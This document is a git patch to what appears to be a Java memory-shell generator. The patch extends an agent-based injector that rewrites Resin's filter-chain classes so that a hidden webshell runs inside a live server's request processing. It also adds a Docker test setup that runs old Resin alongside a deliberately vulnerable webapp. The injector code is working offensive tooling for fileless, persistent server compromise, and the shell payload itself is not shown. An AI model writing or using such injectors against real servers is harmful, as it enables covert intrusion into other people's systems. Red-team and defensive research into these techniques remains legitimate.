From 5ddbca566eb9a7750d34063f9b888f69dc3df2b6 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 8 Feb 2026 18:43:50 +0800 Subject: [PATCH] feat: support resin2 agent shell --- .../resin/ResinFilterChainAgentInjector.java | 46 +++++++++++-------- .../resin/docker-compose-2.1.17-jdk6.yaml | 11 +++++ integration-test/script/resin_pid.sh | 2 +- 3 files changed, 38 insertions(+), 21 deletions(-) create mode 100644 integration-test/docker-compose/resin/docker-compose-2.1.17-jdk6.yaml diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java index 25b885b3..6405f694 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java @@ -14,9 +14,11 @@ import java.util.zip.GZIPInputStream; * @since 2025/3/26 */ public class ResinFilterChainAgentInjector implements ClassFileTransformer { - private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain"; private static final String TARGET_METHOD_NAME = "doFilter"; - + private static final String[] TARGET_CLASSES = new String[]{ + "com/caucho/server/http/FilterChainFilter", + "com/caucho/server/dispatch/FilterFilterChain", + }; public static String getClassName() { return "{{advisorName}}"; } @@ -38,8 +40,10 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer { inst.addTransformer(new ResinFilterChainAgentInjector(), true); for (Class allLoadedClass : inst.getAllLoadedClasses()) { String name = allLoadedClass.getName(); - if (TARGET_CLASS.replace("/", ".").equals(name)) { - inst.retransformClasses(allLoadedClass); + for (String targetClass : TARGET_CLASSES) { + if (targetClass.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + } } } } @@ -48,22 +52,24 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer { @SuppressWarnings("all") public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] bytes) { - if (TARGET_CLASS.equals(className)) { - defineTargetClass(loader); - try { - ClassReader cr = new ClassReader(bytes); - ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { - @Override - protected ClassLoader getClassLoader() { - return loader; - } - }; - ClassVisitor cv = getClassVisitor(cw); - cr.accept(cv, ClassReader.EXPAND_FRAMES); - System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); - return cw.toByteArray(); - } catch (Exception e) { - e.printStackTrace(); + for (String targetClass : TARGET_CLASSES) { + if (className.equals(targetClass)) { + defineTargetClass(loader); + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + targetClass.replace("/", ".") + "." + TARGET_METHOD_NAME); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } } } return bytes; diff --git a/integration-test/docker-compose/resin/docker-compose-2.1.17-jdk6.yaml b/integration-test/docker-compose/resin/docker-compose-2.1.17-jdk6.yaml new file mode 100644 index 00000000..160afde1 --- /dev/null +++ b/integration-test/docker-compose/resin/docker-compose-2.1.17-jdk6.yaml @@ -0,0 +1,11 @@ +services: + resin2117: + image: reajason/resin:2.1.17-jdk6 + container_name: resin2117 + ports: + - "8080:8080" + - "5005:5005" + environment: + JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/resin2/webapps/app.war \ No newline at end of file diff --git a/integration-test/script/resin_pid.sh b/integration-test/script/resin_pid.sh index 14f63bf2..185e582c 100755 --- a/integration-test/script/resin_pid.sh +++ b/integration-test/script/resin_pid.sh @@ -1,2 +1,2 @@ #!/bin/bash -pgrep -f Resin | tr -d '\n' \ No newline at end of file +pgrep -f 'Resin|-Dresin' | tr -d '\n' \ No newline at end of file